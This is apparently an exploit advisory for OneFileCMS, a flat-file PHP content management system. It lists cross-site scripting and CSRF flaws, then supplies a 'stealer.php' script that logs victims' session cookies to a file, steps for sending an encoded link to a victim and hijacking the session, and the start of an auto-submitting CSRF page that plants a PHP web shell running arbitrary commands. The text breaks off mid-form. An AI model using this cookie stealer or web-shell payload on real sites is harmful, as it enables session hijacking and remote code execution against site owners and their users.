===============
描述
===============
OneFileCMS is just that. It’s a flat, light, one file CMS (Content Management System) entirely contained in an easy-to-implement, highly customizable, database-less PHP script. Coupling a utilitarian code editor with all the basic necessities of an FTP application, OneFileCMS can maintain a whole website completely in-browser without any external programs.
 
=======================================================
 [!] All vulnerabilities requires authentication. [!]
=======================================================
 
============================================
0x01. Cross Site Scripting vulnerability
============================================

=========================================================
0x02 Cross Site Request Foregery (CSRF) vulnerability
=========================================================

 [!] Steal the cookie (sessionid) [!]
—————————————
 
— stealer.php —
<?php
header (‘Location:http://www.2cto.com /onefilecms/onefilecms.php?f=index.php’);
$cookie = $_GET[‘cookie’];
$log = fopen(“gotit.txt”, “a”);
fwrite($log, $cookie .”\n”);
fclose($log);
?>
— end —
 
Send this link to your victim…

…BUT, don’t forget to encode it first!!!

Now, check the “gotit.txt” file for the cookie.
Replace the value of the “sessionid” with the cookie that you already grab…

 [!] Create the evil file “csrf.php” [!]

<html><body onload=’document.f.submit()’>

<input name=”content” value=”<pre><?php system($_GET[‘cmd’]);exit;?>”>
